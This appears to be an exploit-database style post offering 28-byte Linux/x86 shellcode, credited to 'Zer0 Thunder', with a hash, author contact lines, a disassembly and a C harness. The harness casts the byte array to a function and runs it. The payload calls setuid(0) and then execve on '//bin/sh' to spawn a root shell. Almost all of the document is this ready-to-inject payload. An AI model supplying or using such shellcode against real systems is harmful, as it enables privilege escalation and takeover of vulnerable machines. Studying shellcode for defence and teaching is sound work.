28 bytes small execve(/bin/sh) Linux/x86 shellcode.
f110cec41bd0509221fb58aebe8b1f0931c65ac9acecece227d1817f7628559e
// Author : Zer0 Thunder
// msn : zer0_thunder@colombohackers.com
// site : zt-security.com - colombohackers.com
/*
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: b0 17 mov $0x17,%al
8048066: 50 push %eax
8048067: cd 80 int $0x80
8048069: 58 pop %eax
804806a: 51 push %ecx
804806b: 68 6e 2f 73 68 push $0x68732f6e
8048070: 68 2f 2f 62 69 push $0x69622f2f
8048075: 89 e3 mov %esp,%ebx
8048077: b0 0b mov $0xb,%al
8048079: cd 80 int $0x80
*/
#include <stdio.h>
char code[]="\x31\xc0" // xor %eax,%eax
"\x31\xdb"// xor %ebx,%ebx
"\xb0\x17"// mov $0x17,%al
"\x50"// push %eax
"\xcd\x80" // int $0x80
"\x58"// pop %eax
"\x51"// push %ecx
"\x68\x6e\x2f\x73\x68"// push $0x68732f6e
"\x68\x2f\x2f\x62\x69"// push $0x69622f2f
"\x89\xe3"// mov %esp,%ebx
"\xb0\x0b"// mov $0xb,%al
"\xcd\x80";// int $0x80
main()
{
void (*routine)();
routine=&code;
printf("size:%dbytes\n",sizeof(code));
routine();
}